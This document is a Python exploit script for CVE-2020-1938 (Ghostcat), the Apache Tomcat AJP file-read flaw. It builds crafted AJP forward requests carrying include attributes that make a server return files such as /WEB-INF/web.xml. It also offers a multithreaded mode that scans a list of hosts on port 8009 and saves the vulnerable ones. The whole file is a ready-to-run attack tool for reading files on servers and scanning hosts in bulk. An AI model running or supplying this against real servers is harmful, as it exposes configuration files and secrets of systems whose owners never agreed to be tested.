# CVE-2020-1938

from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
from termcolor import *
from urllib.parse import urlparse
import socket
import argparse
import threading
import traceback

vuln_urls = []


# helpers
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr


class Tomcat(object):

    def __init__(self, target_host, target_port=8009):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb")

    def perform_request(self, req_uri, headers={}, method='GET', attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(
            self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]

        for a in attributes:
            self.forward_request.attributes.append(a)

        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]

        return snd_hdrs_res, data_res


# option 0 for readfile, option 1 for check vuln host from a file
def ReadFile(host, port, webapp, filepath, option):
    bf = Tomcat(host, port)
    attributes = [
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.request_uri",
                "/",)
        },
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.path_info",
                filepath,)
        },
        {
            "name": "req_attribute", "value": (
                "javax.servlet.include.servlet_path",
                "/",)
        },
    ]
    try:
        hdrs, data = bf.perform_request("/" + webapp + "/xxxxx", attributes=attributes)
    except:
        print(colored('read error!', 'red'))
        return False
    if (option == 0):
        for i in data:
            print(colored(i.data.decode('utf-8'), 'green'))
        if (data is None or hdrs.http_status_code != 200):
            print(colored('read error!', 'red'))
    else:
        if (hdrs.http_status_code != 500):
            return True
        else:
            return False


def CheckList(list):
    for i in list:
        try:
            if (ReadFile(i[0], i[1], "docs", "/WEB-INF/web.xml", 1) or ReadFile(i[0], i[1], "manager", "/WEB-INF/web.xml", 1)):
                print(colored(i[2] + "    may be vulnerable!", 'red'))
                vuln_urls.append(i[2])
        except:
            pass


def Scan(threads, file):
    checklist = []
    # parse url
    with open(file) as f:
        contents = f.read()
        hosts = contents.split('\n')
        count = 1
        for h in hosts:
            if (h.strip() == ''):
                continue
            domain = h
            h = h.replace('\\', '/')
            if (h.startswith((
                    "http",
                    "HTTP",)) and h.find('://') != -1):
                h = h[h.find('://') + 3:h.find('/') if h.find('/', h.find('://') + 3) != -1 else len(h)]
            h = urlparse(h).path

            try:
                if (h.find(':') != -1):
                    h = h[0:h.find(':')]
                # get ip
                addrinfo = socket.getaddrinfo(h, "http")
                for addr in addrinfo:
                    if ((addr[4][0], 8009, domain) not in checklist):
                        checklist.append((
                            addr[4][0],
                            8009,
                            domain,))
            except:
                print("Strange url....." + domain)
            print(colored("\r" + "parse url (" + str(count) + "/" + str(len(hosts)) + ")", 'blue'), end='')
            count = count + 1

    #print(checklist)
    # check vuln
    print('\n')
    t = [' '] * threads
    num_per_threads = len(checklist) // threads
    if (num_per_threads == 0):
        for i in range(len(checklist)):
            t[i] = threading.Thread(target=CheckList, args=(checklist[i:i + 1],))
        for i in range(len(checklist)):
            t[i].start()
        for i in range(len(checklist)):
            t[i].join()
    else:
        num_per_threads = num_per_threads + (1 if len(checklist) % threads != 0 else 0)
        for i in range(threads):
            if (i != threads - 1):
                t[i] = threading.Thread(target=CheckList, args=(checklist[i * num_per_threads:(i + 1) * num_per_threads],))
            else:
                t[i] = threading.Thread(target=CheckList, args=(checklist[i * num_per_threads:],))
        for j in range(threads):
            t[j].start()
        for j in range(threads):
            t[j].join()


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    subparsers = parser.add_subparsers()

    # readfile
    read_file = subparsers.add_parser('read_file', help='Exploit CVE-2020-1938')
    read_file.set_defaults(option='read_file')
    read_file.add_argument("-H", "--host", help="The host to check")
    read_file.add_argument('-p', '--port', default=8009, help="The port of AJP connector(default is 8009)")
    read_file.add_argument('--webapp', default='manager', help="webapp")
    read_file.add_argument('-f', '--file', default='/WEB-INT/web.xml', help="The relative path of file to read")

    # check the hosts in file
    scan_files = subparsers.add_parser('scan_files', help='scan a file list')
    scan_files.set_defaults(option='scan_files')
    scan_files.add_argument('-f', '--file', help="Host list(only one url in a line)")
    scan_files.add_argument('-t', '--threads', default=1)
    scan_files.add_argument('-o', '--out', default=None, help="output the vulnerable host to file")

    args = parser.parse_args()
    try:
        if (args.option == "read_file"):
            ReadFile(args.host, args.port, args.webapp, args.file, 0)
        elif (args.option == "scan_files"):
            Scan(int(args.threads), args.file)
            if (args.out is not None):
                with open(args.out, 'w') as f:
                    for u in vuln_urls:
                        f.write(u + '\n')
    except Exception as e:
        parser.print_help()
        print(colored('\n\n\n' + e, 'red'))
        print(traceback.format_exc())
